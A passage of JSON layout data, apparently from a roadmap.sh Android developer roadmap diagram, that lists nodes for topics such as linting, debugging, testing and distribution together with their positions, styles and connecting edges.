},\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 85,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"D4ZXQOKJkyFYNZIy-MJ9Y\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 211.5349540213482,\n        \"y\": 1483.5309500913381\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Google Admob\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 211.5349540213482,\n        \"y\": 1483.5309500913381\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"m5rumeynEbS8T27pelr0-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 211.5349540213482,\n        \"y\": 1536.5309500913381\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Google Play Services\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 211.5349540213482,\n        \"y\": 1536.5309500913381\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"S5FVF9rMgVSSDKXJW2GYb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 211.5349540213482,\n        \"y\": 1589.5309500913381\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Google Maps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 229,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 229,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 211.5349540213482,\n        \"y\": 1589.5309500913381\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"77F9F3oI5CPgwgM_hxWfa\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 541.30410704482,\n        \"y\": 1739.1260426182998\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Linting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kc6buUsLAeZeUb4Tk0apM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 182,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 541.30410704482,\n        \"y\": 1739.1260426182998\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 182,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 182,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zMbXQH17Q52opdbitPzj7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 545.0824885942002,\n        \"y\": 1817.1332359908408\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Ktlint\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 545.0824885942002,\n        \"y\": 1817.1332359908408\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RUvuCp_JK5MQQT13SSHUV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 633.5824885942002,\n        \"y\": 1817.1332359908408\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Detekt\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 633.5824885942002,\n        \"y\": 1817.1332359908408\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6KbSUAoT_jTudFoIbwMpA\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 799.2599844228607,\n        \"y\": 1949.9848821882983\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Debugging\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kc6buUsLAeZeUb4Tk0apM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 799.2599844228607,\n        \"y\": 1949.9848821882983\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VFOD4JrV8kZ2583G3oT95\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 801.7599844228607,\n        \"y\": 1704.1426067976822\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Timber\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 801.7599844228607,\n        \"y\": 1704.1426067976822\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3i4g9ZWgLxKb2UMgRJi4Q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 801.7599844228607,\n        \"y\": 1757.1426067976822\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Leak Canary\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 801.7599844228607,\n        \"y\": 1757.1426067976822\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7RKN1FNtRE_BE6QeAQrKb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 801.7599844228607,\n        \"y\": 1810.1426067976822\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Chucker\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 801.7599844228607,\n        \"y\": 1810.1426067976822\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ACUJlDDR0jqEohsFzWEoQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 801.7599844228607,\n        \"y\": 1863.1426067976822\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Jetpack Benchmark\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 801.7599844228607,\n        \"y\": 1863.1426067976822\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZOQm5OlzCA-h_yxywwDrW\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 210.5417587642338,\n        \"y\": 1817.1332359908408\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kc6buUsLAeZeUb4Tk0apM\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 210.5417587642338,\n        \"y\": 1817.1332359908408\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-ONSC-ImGSELbamKmjIlH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 207.52041671512893,\n        \"y\": 1735.207699761579\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Espresso\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 118,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 207.52041671512893,\n        \"y\": 1735.207699761579\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gvGAwjk_nhEgxzZ_c3f6b\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 328.52041671512893,\n        \"y\": 1735.207699761579\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JUnit\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 107,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 328.52041671512893,\n        \"y\": 1735.207699761579\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 107,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 107,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kc6buUsLAeZeUb4Tk0apM\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 603.2670925742796,\n        \"y\": 2089.695020171181\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Distribution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 182,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 603.2670925742796,\n        \"y\": 2089.695020171181\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"style\": {\n        \"width\": 182,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 182,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"T7q_quNaIAuGi96OdnDT1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 878.3250908204957,\n        \"y\": 2057.3464333036\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Firebase Distribution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 206,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 878.3250908204957,\n        \"y\": 2057.3464333036\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 206,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HgRdgi2Hu4C8YLG5PXfoo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 878.3250908204957,\n        \"y\": 2111.3464333036\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Google Playstore\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 208,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 878.3250908204957,\n        \"y\": 2111.3464333036\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 208,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 208,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_FSlD_qTz5Xo0x3pB6sZI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 347.5641444978062,\n        \"y\": 2089.695020171181\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Signed APK\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 162,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 347.5641444978062,\n        \"y\": 2089.695020171181\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 162,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 162,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Wf9BM0COudf-Wz_ieKqr7\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1086.3250908204957,\n        \"y\": 2057.3464333036\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 103,\n      \"positionAbsolute\": {\n        \"x\": 1086.3250908204957,\n        \"y\": 2057.3464333036\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 103\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 103\n      }\n    },\n    {\n      \"id\": \"FS7mpWrs6zdFRAAsegcyA\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1106.297678604876,\n        \"y\": 2090.8464333036\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Ways to distribute\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 153,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 1106.297678604876,\n        \"y\": 2090.8464333036\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 153,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"Ju00mr0KLGN2BV6yEQGPt\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 683.4983518244453,\n        \"y\": 2309.544858179337\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#4136D4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 104,\n      \"positionAbsolute\": {\n        \"x\": 683.4983518244453,\n        \"y\": 2309.544858179337\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 104\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 104\n      }\n    },\n    {\n      \"width\": 418,\n      \"height\": 124,\n      \"id\": \"sVXZrBCsiSzWBBYWTm-nQ\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 484.59307197817225,\n        \"y\": 2222.1888334039822\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Visit the following relevant roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\"\n        },\n        \"oldId\": \"0vLaVNJaJSHZ_bHli6Qzs\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": 484.59307197817225,\n        \"y\": 2222.1888334039822\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 418,\n        \"height\": 124\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 418,\n        \"height\": 124\n      }\n    },\n    {\n      \"width\": 105,\n      \"height\": 49,\n      \"id\": \"gC8lsIdYLRzo3HzwVqtm1\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 507.814690428792,\n        \"y\": 2278.65859077644\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"iOS\",\n        \"href\": \"https://roadmap.sh/ios\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"uSLzfLPXxS5-P7ozscvjZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 507.814690428792,\n        \"y\": 2278.65859077644\n      },\n      \"style\": {\n        \"width\": 105,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 105,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 158,\n      \"height\": 49,\n      \"id\": \"9LKa-YjOMtO1j62Ukt0q0\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 615.814690428792,\n        \"y\": 2278.65859077644\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"React Native\",\n        \"href\": \"https://roadmap.sh/react-native\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"uSLzfLPXxS5-P7ozscvjZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 615.814690428792,\n        \"y\": 2278.65859077644\n      },\n      \"style\": {\n        \"width\": 158,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 158,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 115,\n      \"height\": 49,\n      \"id\": \"uSLzfLPXxS5-P7ozscvjZ\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": 774.4983518244453,\n        \"y\": 2278.65859077644\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Flutter\",\n        \"href\": \"https://roadmap.sh/flutter\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"PkhQdVms2TGgnPrytCBPZ\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 774.4983518244453,\n        \"y\": 2278.65859077644\n      },\n      \"style\": {\n        \"width\": 115,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 115,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4_e76QafrB419S2INOeKd\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 855.9237456884,\n        \"y\": 873.1993520650623\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Interface & Navigation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 855.9237456884,\n        \"y\": 873.1993520650623\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RKIW9hDrCd03Bf3djoJvp\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 1047.0688147107603,\n        \"y\": 1339.8965401994208\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Design Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16,\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"d1G8QZ82y7ez7rLskMZiv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 215,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 215,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1047.0688147107603,\n        \"y\": 1339.8965401994208\n      },\n      \"measured\": {\n        \"width\": 215,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"d1G8QZ82y7ez7rLskMZiv\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 1047.0688147107603,\n        \"y\": 1174.6339633778666\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Architectural Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16,\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 217,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 217,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 1047.0688147107603,\n        \"y\": 1174.6339633778666\n      },\n      \"measured\": {\n        \"width\": 217,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"XX0I26JoVMVXIe_7bVMix\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"idLHBxhvcIqZTqmh_E8Az\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"dFn6kGOoJ-0BzJJEb9DSG\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"os3Pa6W9SSNEzgmlBbglQ\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"arkF7QJJRbCBYWp0crqa2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"3oInpqvTSSC5_K6i7j8N7\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"HNVw8OboycWKLEtEbG2bn\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"_hYN0gEi9BL24nptEtXWU\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"YKhuRbcUFzo0hTvuTq-Yl\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"auB7Png72XjmhcLr3IJA7\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jZ67HhVRelJaxjsCckSSI\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"2aoDIr80lXSJLW1hIGUkb\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"NMznG9mo2wzNFnjhg990f\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"m-_y7nLeYFkUKGiacxWA0\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gc_7cuIO2_joKlQRAPDfX\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"G7pXuJfkyt2nWAOHU8yV0\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rrrvATyhXqRgJGWI3z0WF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"AvbMQ5vY3ip1oX_6Yq4ie\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"2_6Yz3-Agx9_rEN5xW86c\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"hWA7RtuqltMTmHdcCnmES\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"1AJv95mTLpR7L8KBoGym8\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"kgMI98fg2-mKMgUs0wnjD\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": 